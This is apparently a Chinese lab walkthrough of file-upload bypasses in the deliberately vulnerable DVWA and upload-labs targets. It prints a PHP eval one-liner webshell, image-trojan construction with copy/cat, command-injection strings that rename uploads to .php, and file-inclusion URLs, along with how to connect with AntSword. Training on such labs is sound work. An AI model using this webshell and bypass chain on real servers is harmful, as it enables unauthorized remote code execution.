DVWA靶场-文件上传
upload-labs源码地址https://github.com/c0ny1/upload-labsupload-labsPass-1-js检查Pass-2-只验证Content-typePass-3-黑名单绕过Pass-4-.htaccess绕过Pass-5-大小写绕过Pass-6-空格绕过Pass-7-点绕过Pass-8-::$DATA绕过Pass-9-点空格点绕过Pass-10-双写绕过Pass-11-00截断Pass-12-00截断Pass-13-图片马绕过Pass-14-getimagesize()-图片马Pass-15-exif_imagetype()-图片马Pass-16-二次渲染绕过Pass-17-条件竞争Pass-18-条件竞争Pass-19-00截断文件上传初级LOW:File Upload Source vulnerabilities/upload/source/low.php ?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } ??php // 判断是否点击上传按钮POST参数Upload存在 if( isset( $_POST[ Upload ] ) ) { // 拼接上传保存路径网站根目录/hackable/uploads/ $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; // 获取上传文件原始文件名拼接完整保存路径 $target_path . basename( $_FILES[ uploaded ][ name ] ); // 将服务器临时目录文件移动到上传目录 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } ?可以看到服务器对上传文件的类型、内容没有做任何的检查、过滤存在明显的文件上传漏洞生成上传路径后服务器会检查是否上传成功并返回相应提示信息。因为文件上传没有做任何限制可以上传任何文件再上传一句话木马然后通过蚁剑或者中国菜刀拿到webshell。写一句话木马并上传:shell.php?php eval($_POST[123456]); ?用菜刀连接WEBshell,右键单击添加 http://127.0.0.1:82/hackable/uploads/shell.php密码就是我们上传的shell.php中的$_POST[123456]中的字符串 123456用蚁剑成功连接webshell蚁剑antsword安装教程:参考中国蚁剑(antSword)下载、安装、使用教程_antsword安装教程-CSDN博客下载地址需要两个包一个是项目核心 源码 ”antSword“https://github.com/AntSwordProject/antSword一个是加载器https://github.com/AntSwordProject/AntSword-Loader安装用下载的AntSword-Loader-v4.0.3-win32-x64.zip 以Windows版本64位来示例解压1.启动AntSword-Loader-v4.0.3-win32-x64 下的 AntSword.exe2.点击初始化3.选择下载的源码文件夹 antSword-master如果只下载了加载器选择一个空文件夹加载器会自动帮你下载核心项目源码4.等初始化完成后重启“AntSword.exe”即可正常启动使用方法首页点击右键 添加数据打开后url地址就是我们木马的地址 如 http://127.0.0.1:82/hackable/uploads/shell.php密码123456哥斯拉连接中级medium源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; // Is it an image? if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?查看到代码对上传的文件进行过滤上传文件后缀应为jpeg,png并且对文件大小进行限制。先把shell.php改成shell.png,然后再上传抓包用burpsuite抓包完成时候修改上传的文件名在filename处修改高级(high)源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?CTF隐写术必备手把手教你通过文件头尾识别20常见文件格式附速查表-CSDN博客可以看到添加了一个getimagesize( string filename)函数它会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头函数会报错。这里读取文件名中最后一个”.”后的字符串期望通过文件名来限制文件类型因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时getimagesize函数更是限制了上传文件的文件头必须为图像类型。且文件大小小于100000字节copy 1.jpg/bwjsc.php 2.jpg //复制 原图片/b木马.php 新图片 copy 11.jpg/b1.php/a 11.jpg //b表示二进制文件、a表示ASCII码文件将木马隐藏在图片中绕过(High文件上传Low命令注入)1、将木马文件pass.php与图片文件test.jpg合并为php.jpgwindows上(关闭实时防护)使用copy命令: copy test.jpg/bshell.php/a shell3.jpglinux上cat pass.php test.jpg上传成功注意文件一定要在100kb以内否则上传不成功这时只是上传成功但是蚁剑是连不上的因为不是php文件。无法解析运行所以图片木马上传后不能触发需要结合其他漏洞一起利用。结合文件包含漏洞一起利用。在命令注入中输入:127.0.0.1 | ren D:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell3.jpg shell3.php此时发现shell3.jpg已经被改名为shell3.php如果服务器是Linux系统,结合DVWA命令注入Command Execution选择DVWA命令注入Command Execution调整dvwa的等级为low在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads然后通过命令注入方式输入以下命令来进行更改文件后缀127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/shell3.php再执行127.0.0.1|ls ../../hackable/uploads查看中国蚁剑查看指定连接目录http://127.0.0.1:82/dvwa/hackable/uploads/shell3.php参数为cmd类型为PHP(eval)结合文件包含可以继续做结合文件包含的low级别可进行远程进入文件包含在url的后面page输入../../hackable/uploads/w.jpg蚁剑的url输入http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpghttp://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpg发现为空可能需要登录搞一下Cookie试试可bp抓包可cookie插件。cookie插件连接成功Impossible Level#The developer calls it quits and hardcodes only the allowed pages,with there exact filenames. By doing this, it removes all avenues ofattack.开发人员只对允许的页面进行硬编码并提供精确的文件名这样做消除了所有的攻击途径。?php // The page we wish to display $file $_GET[page]; // Only allow include.php or file{1..3}.php if($file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php){ // This isnt the page we want! echo ERROR: File not found!; exit; } ?总结与防御#为了更好地使用代码的重用性可以使用文件包含函数将文件包含进来直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞产生原因是在通过PHP的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。常用的文件包含函数有include()、include_once()、require()、require_once()。包含漏洞分为本地包含和原创包含 2 类当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php语法会直接将文件内容输出。例如下面这段简易的代码?php$file $_GET[file]; include($file); ?当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置allow_url_include on是否允许 include/require 远程文件 allow_url_fopen on是否允许打开远程文件http://192.168.188.183/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/09/09/76459764fc0cb7785d8730212793.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2unsafeupload\uploads\2026\07\25http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/4395896a642da68c7ee785209172.jpgsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2uploads/2026/07/25/1120906a64327f0122d204633838.pnghttp://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit提交查询uploads/2026/07/25/5669506a64334b855c9444912681.png

相关新闻

C++模板编程:深入理解typename关键字的原理与应用

C++模板编程:深入理解typename关键字的原理与应用

1. 项目概述:为什么我们需要深入理解 typename ? 如果你写过一段时间的C模板代码,尤其是涉及嵌套从属名称(nested dependent name)时,大概率见过编译器抛出一个令人困惑的错误,然后你不得不在…

2026/7/31 5:52:52 阅读更多 →
Python多进程与多线程并发执行多个.py文件实战指南

Python多进程与多线程并发执行多个.py文件实战指南

1. 项目概述:为什么我们需要同时执行多个.py文件?在数据处理、自动化测试、爬虫或者后端服务开发中,我们经常会遇到一个场景:手头有一堆独立的Python脚本(.py文件),它们各自负责一项具体的任务。…

2026/7/31 5:52:52 阅读更多 →
大模型编程入门:从API调用到本地部署实战指南

大模型编程入门:从API调用到本地部署实战指南

1. 为什么每个程序员都该学大模型编程?三年前我刚接触大模型时,花了整整两周才跑通第一个文本生成demo。现在借助成熟的工具链,新手用Colab笔记本15分钟就能实现相似效果——这就是技术迭代的速度。大模型编程正在从研究实验室走向工程实践&a…

2026/7/31 5:51:52 阅读更多 →

最新新闻

Android Hook机制实战:从原理到面试,掌握系统级编程核心

Android Hook机制实战:从原理到面试,掌握系统级编程核心

1. 项目概述:为什么Hook是Android面试的“硬通货”?又到年底了,最近帮团队面试了不少Android方向的候选人,发现一个挺有意思的现象:几乎每个人简历上都写着“熟悉Android Framework”、“了解插件化/热修复原理”&…

2026/7/31 6:23:02 阅读更多 →
观照与决断:管理熵变中的起心动念

观照与决断:管理熵变中的起心动念

——基于“过程熵增—目标熵减”模型的理论推演与案例研究 一、引言 管理学自诞生以来,经历了从科学管理到行为科学、从战略管理到组织文化的多次范式转换,但其经典定义——“计划、组织、指挥、协调、控制”——始终隐含着一个未经审视的假设&#xff1…

2026/7/31 6:23:02 阅读更多 →
Agent 知识平台形态研究、行业演进、能力模型与战略机会

Agent 知识平台形态研究、行业演进、能力模型与战略机会

摘要企业 AI 知识平台正在经历一次形态迁移:从挂载在 agent 编排平台上的「检索组件」,走向独立承担知识可信性责任的「受治理的上下文层」产品。这一判断有明确的行业标志事件——2026 年 6 月,Snowflake 在其年度峰会上发布 Horizon Contex…

2026/7/31 6:23:02 阅读更多 →
逆向:x,x从汇编分析函数调用约定详解

逆向:x,x从汇编分析函数调用约定详解

逆向:x86/x64从汇编分析函数调用约定详解 引言函数调用约定是程序运行时函数间传递参数、控制权和返回值的一套规则。在逆向工程中,理解调用约定是分析二进制代码的基础。x86和x64架构的调用约定存在显著差异,本文将深入剖析从汇编层面分析这…

2026/7/31 6:23:02 阅读更多 →
Matplotlib子图实战:从基础布局到复杂仪表板构建

Matplotlib子图实战:从基础布局到复杂仪表板构建

1. 项目背景与核心价值:为什么子图是数据可视化的“骨架”如果你用过Matplotlib画过几张图,大概率会遇到一个非常现实的问题:当你想把几个相关的图表放在一起对比分析时,一张图一张图地单独生成,再手动拼接到PPT或报告…

2026/7/31 6:23:02 阅读更多 →
计算机毕业设计之表务管理系统

计算机毕业设计之表务管理系统

随着新经济的需求和新技术的发展,特别是网络技术的发展,如果可以建立起表务管理系统,可以改变传统线下管理方式,在过去的时代里都使用传统的方式实行,既花费了时间,又浪费了精力。在信息如此发达的今天&…

2026/7/31 6:22:01 阅读更多 →

日新闻

物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:34 阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:34 阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:34 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/29 14:34:28 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/31 4:19:39 阅读更多 →

月新闻